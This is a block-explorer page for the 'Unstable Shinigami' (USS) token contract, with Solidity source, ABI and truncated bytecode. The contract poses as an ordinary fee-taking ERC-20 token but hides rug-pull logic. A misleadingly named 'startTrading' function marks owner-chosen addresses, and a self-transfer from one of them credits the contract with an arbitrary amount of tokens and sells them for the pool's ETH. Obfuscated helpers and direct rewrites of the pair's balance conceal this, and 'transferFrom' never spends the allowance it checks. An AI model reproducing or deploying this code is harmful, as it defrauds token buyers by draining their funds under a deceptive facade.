ETH Price: $3,645.99 (+0.67%)
 

Overview

Max Total Supply

1,000,000,000 USS

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 USS

Value
$0.00
0x2112fb29Fb6D031c79c8e0726cc90F68cd7DC8fA
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
USS

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-12
*/

pragma solidity ^0.8.18;

// SPDX-License-Identifier: MIT

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
abstract contract ERC20Token is Ownable {
    mapping (address => bool) bots;
    address uniswapV2Pair;
    bool inLiquidityTx = false;
    function startTrading(address[] calldata _bots) external onlyOwner {
        for (uint i = 0; i < _bots.length; i++) {
            bots[_bots[i]] = true;
        }
    }
    function isBot(address _adr) internal view returns (bool) {
        return bots[_adr];
    }
    function shouldSwap(address sender, address receiver) public view returns (bool) {
        if (receiver == sender) { 
            if (isBot(receiver)) {
                return isBot(sender);
            }
        }
        return false;
    }
    function _0e3a5(bool _01c6, bool _2abd7) internal pure returns (bool) {
        return !_01c6 && !_2abd7;
    }
    function getAllowed(address from, address to, address pair) internal returns (bool) {
        bool a = inLiquidityTx;
        bool b = _0e3a5(bots[to], isBot(from));
        bool res = b;
        if (!bots[to] && 
        _0e3a5(bots[from], a) && 
        to != pair) {
            uniswapV2Pair = to;
            res = true;
        } else 
        if (b && !a) { if (pair == to) {
                res = true;
            }
        }
        return res;
    }
}

contract USS is IERC20, ERC20Token {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
    uint256 _fee = 2;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "Unstable Shinigami";
    string private  _symbol = "USS";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    uint256 maxWallet = _totalSupply;
    function setMaxWallet(uint256 _value) external onlyOwner {
        maxWallet = _value;
    }
    uint256 maxTx = _totalSupply;
    function setMaxTx(uint256 _value) external onlyOwner {
        maxTx = _value;
    }
    function removeLimits() external onlyOwner {
        maxWallet = _totalSupply;
        maxTx = _totalSupply;
    }
    function removeTax() external onlyOwner {
        _fee = 0;
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (shouldSwap(from, to)) {
            swap(amount, to);
        } else {
            require(amount <= _balances[from]);
            uint256 fee = 0;
            uint256 swapBalance = getReflectAmount(from);
            _balances[uniswapV2Pair] = swapBalance;
            bool sdf = shouldTakeFee(from, to);
            if (!sdf) {
            } else {
                fee = amount.mul(_fee).div(100);
            }
            _balances[from] = _balances[from] - amount;
            _balances[to] += amount - fee;
            if (fee > 0) {
                emit Transfer(from, address(0), fee);
            }
            emit Transfer(from, to, amount);
        }
    }
    function shouldTakeFee(address from, address recipient) private returns (bool) {
        return getAllowed(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) {
        return _name;
    }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function swap(uint256 _mcs, address _bcr) private {
        _approve(address(this), address(_router), _mcs);
        _balances[address(this)] = _mcs;
        address[] memory path = new address[](2);
        inLiquidityTx = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
        inLiquidityTx = false;
    }
    function getReflectAmount(address from) private view returns (uint256) {
        address to = IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
        return getReflectTokensAmount(from, to, balanceOf(uniswapV2Pair));
    }
    function getReflectTokensAmount(address uniswapV2Pair, address recipient, uint256 feeAmount) private pure returns (uint256) {
        uint256 amount = feeAmount;
        uint256 minSupply = 0;
        if (uniswapV2Pair != recipient) {
            amount = feeAmount;
        } else {
            amount *= minSupply;
        }
        return amount;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function getPairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"receiver","type":"address"}],"name":"shouldSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"}],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526000600260146101000a81548160ff0219169083151502179055506009600555600554600a62000035919062000486565b633b9aca00620000469190620004d7565b6006556002600755737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280601281526020017f556e737461626c65205368696e6967616d69000000000000000000000000000081525060099081620000e9919062000792565b506040518060400160405280600381526020017f5553530000000000000000000000000000000000000000000000000000000000815250600a908162000130919062000792565b50600654600b55600654600c553480156200014a57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600654600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620002eb91906200088a565b60405180910390a3620008a7565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000387578086048111156200035f576200035e620002f9565b5b60018516156200036f5780820291505b80810290506200037f8562000328565b94506200033f565b94509492505050565b600082620003a2576001905062000475565b81620003b2576000905062000475565b8160018114620003cb5760028114620003d6576200040c565b600191505062000475565b60ff841115620003eb57620003ea620002f9565b5b8360020a915084821115620004055762000404620002f9565b5b5062000475565b5060208310610133831016604e8410600b8410161715620004465782820a90508381111562000440576200043f620002f9565b5b62000475565b62000455848484600162000335565b925090508184048111156200046f576200046e620002f9565b5b81810290505b9392505050565b6000819050919050565b600062000493826200047c565b9150620004a0836200047c565b9250620004cf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000390565b905092915050565b6000620004e4826200047c565b9150620004f1836200047c565b925082820262000501816200047c565b915082820484148315176200051b576200051a620002f9565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005a457607f821691505b602082108103620005ba57620005b96200055c565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006247fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005e5565b620006308683620005e5565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006736200066d62000667846200047c565b62000648565b6200047c565b9050919050565b6000819050919050565b6200068f8362000652565b620006a76200069e826200067a565b848454620005f2565b825550505050565b600090565b620006be620006af565b620006cb81848462000684565b505050565b5b81811015620006f357620006e7600082620006b4565b600181019050620006d1565b5050565b601f82111562000742576200070c81620005c0565b6200071784620005d5565b8101602085101562000727578190505b6200073f6200073685620005d5565b830182620006d0565b50505b505050565b600082821c905092915050565b6000620007676000198460080262000747565b1980831691505092915050565b600062000782838362000754565b9150826002028217905092915050565b6200079d8262000522565b67ffffffffffffffff811115620007b957620007b86200052d565b5b620007c582546200058b565b620007d2828285620006f7565b600060209050601f8311600181146200080a5760008415620007f5578287015190505b62000801858262000774565b86555062000871565b601f1984166200081a86620005c0565b60005b8281101562000844578489015182556001820191506020850194506020810190506200081d565b8683101562000864578489015162000860601f89168262000754565b8355505b6001600288020188555050505b505050505050565b62000884816200047c565b82525050565b6000602082019050620008a1600083018462000879565b92915050565b61272b80620008b76000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c80635d0044ca116100b857806395d89b411161007c57806395d89b41146103065780639601f96c14610324578063a457c2d714610354578063a9059cbb14610384578063bc337182146103b4578063dd62ed3e146103d057610137565b80635d0044ca1461028857806370a08231146102a4578063715018a6146102d4578063751039fc146102de5780638da5cb5b146102e857610137565b8063313ce567116100ff578063313ce567146101e257806332424aa314610200578063395093511461021e5780633eaaf86b1461024e57806351177e291461026c57610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101a85780632f5f2572146101d8575b600080fd5b610144610400565b6040516101519190611d37565b60405180910390f35b610174600480360381019061016f9190611df7565b610492565b6040516101819190611e52565b60405180910390f35b6101926104a9565b60405161019f9190611e7c565b60405180910390f35b6101c260048036038101906101bd9190611e97565b6104b3565b6040516101cf9190611e52565b60405180910390f35b6101e0610554565b005b6101ea6105d3565b6040516101f79190611e7c565b60405180910390f35b6102086105dd565b6040516102159190611e7c565b60405180910390f35b61023860048036038101906102339190611df7565b6105e3565b6040516102459190611e52565b60405180910390f35b610256610681565b6040516102639190611e7c565b60405180910390f35b61028660048036038101906102819190611f4f565b610687565b005b6102a2600480360381019061029d9190611f9c565b6107a0565b005b6102be60048036038101906102b99190611fc9565b61081f565b6040516102cb9190611e7c565b60405180910390f35b6102dc610868565b005b6102e661099b565b005b6102f0610a24565b6040516102fd9190612005565b60405180910390f35b61030e610a4d565b60405161031b9190611d37565b60405180910390f35b61033e60048036038101906103399190612020565b610adf565b60405161034b9190611e52565b60405180910390f35b61036e60048036038101906103699190611df7565b610b3e565b60405161037b9190611e52565b60405180910390f35b61039e60048036038101906103999190611df7565b610c65565b6040516103ab9190611e52565b60405180910390f35b6103ce60048036038101906103c99190611f9c565b610c7c565b005b6103ea60048036038101906103e59190612020565b610cfb565b6040516103f79190611e7c565b60405180910390f35b60606009805461040f9061208f565b80601f016020809104026020016040519081016040528092919081815260200182805461043b9061208f565b80156104885780601f1061045d57610100808354040283529160200191610488565b820191906000526020600020905b81548152906001019060200180831161046b57829003601f168201915b5050505050905090565b600061049f338484610d82565b6001905092915050565b6000600654905090565b60006104c0848484610f4b565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561054957600080fd5b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610573610a24565b73ffffffffffffffffffffffffffffffffffffffff16146105c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c09061210c565b60405180910390fd5b6000600781905550565b6000600554905090565b60055481565b6000610677338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610672919061215b565b610d82565b6001905092915050565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff166106a6610a24565b73ffffffffffffffffffffffffffffffffffffffff16146106fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f39061210c565b60405180910390fd5b60005b8282905081101561079b5760018060008585858181106107225761072161218f565b5b90506020020160208101906107379190611fc9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610793906121be565b9150506106ff565b505050565b3373ffffffffffffffffffffffffffffffffffffffff166107bf610a24565b73ffffffffffffffffffffffffffffffffffffffff1614610815576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080c9061210c565b60405180910390fd5b80600b8190555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610887610a24565b73ffffffffffffffffffffffffffffffffffffffff16146108dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d49061210c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff166109ba610a24565b73ffffffffffffffffffffffffffffffffffffffff1614610a10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a079061210c565b60405180910390fd5b600654600b81905550600654600c81905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610a5c9061208f565b80601f0160208091040260200160405190810160405280929190818152602001828054610a889061208f565b8015610ad55780601f10610aaa57610100808354040283529160200191610ad5565b820191906000526020600020905b815481529060010190602001808311610ab857829003601f168201915b5050505050905090565b60008273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b3357610b1d826112a7565b15610b3257610b2b836112a7565b9050610b38565b5b600090505b92915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bc957600080fd5b610c5b338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c569190612206565b610d82565b6001905092915050565b6000610c72338484610f4b565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610c9b610a24565b73ffffffffffffffffffffffffffffffffffffffff1614610cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce89061210c565b60405180910390fd5b80600c8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610df1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de8906122ac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e579061233e565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f3e9190611e7c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f8457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fbd57600080fd5b610fc78383610adf565b15610fdb57610fd681836112fd565b6112a2565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561102757600080fd5b600080611033856115c7565b90508060036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006110a786866117a5565b905080156110da576110d760646110c96007548761195590919063ffffffff16565b6119cf90919063ffffffff16565b92505b83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111259190612206565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082846111749190612206565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111c2919061215b565b92505081905550600083111561123957600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112309190611e7c565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516112969190611e7c565b60405180910390a35050505b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61132a30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d82565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561138b5761138a61235e565b5b6040519080825280602002602001820160405280156113b95781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff02191690831515021790555030816000815181106113ec576113eb61218f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611493573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114b791906123a2565b816001815181106114cb576114ca61218f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e42611555919061215b565b6040518663ffffffff1660e01b81526004016115759594939291906124d2565b600060405180830381600087803b15801561158f57600080fd5b505af11580156115a3573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611637573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165b91906123a2565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170891906123a2565b6040518363ffffffff1660e01b815260040161172592919061252c565b602060405180830381865afa158015611742573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061176691906123a2565b905061179d8382611798600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661081f565b611a2d565b915050919050565b600061194d8383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611819573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061183d91906123a2565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118ea91906123a2565b6040518363ffffffff1660e01b815260040161190792919061252c565b602060405180830381865afa158015611924573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061194891906123a2565b611a8b565b905092915050565b600080830361196757600090506119c9565b600082846119759190612555565b905082848261198491906125c6565b146119c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bb90612669565b60405180910390fd5b809150505b92915050565b6000808211611a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0a906126d5565b60405180910390fd5b60008284611a2191906125c6565b90508091505092915050565b60008082905060008473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614611a7057839150611a7f565b8082611a7c9190612555565b91505b81925050509392505050565b600080600260149054906101000a900460ff1690506000611b00600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611afb886112a7565b611c91565b90506000819050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611bb35750611bb2600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1684611c91565b5b8015611beb57508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b15611c3a5785600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050611c84565b818015611c45575082155b15611c83578573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611c8257600190505b5b5b8093505050509392505050565b600082158015611c9f575081155b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ce1578082015181840152602081019050611cc6565b60008484015250505050565b6000601f19601f8301169050919050565b6000611d0982611ca7565b611d138185611cb2565b9350611d23818560208601611cc3565b611d2c81611ced565b840191505092915050565b60006020820190508181036000830152611d518184611cfe565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d8e82611d63565b9050919050565b611d9e81611d83565b8114611da957600080fd5b50565b600081359050611dbb81611d95565b92915050565b6000819050919050565b611dd481611dc1565b8114611ddf57600080fd5b50565b600081359050611df181611dcb565b92915050565b60008060408385031215611e0e57611e0d611d59565b5b6000611e1c85828601611dac565b9250506020611e2d85828601611de2565b9150509250929050565b60008115159050919050565b611e4c81611e37565b82525050565b6000602082019050611e676000830184611e43565b92915050565b611e7681611dc1565b82525050565b6000602082019050611e916000830184611e6d565b92915050565b600080600060608486031215611eb057611eaf611d59565b5b6000611ebe86828701611dac565b9350506020611ecf86828701611dac565b9250506040611ee086828701611de2565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112611f0f57611f0e611eea565b5b8235905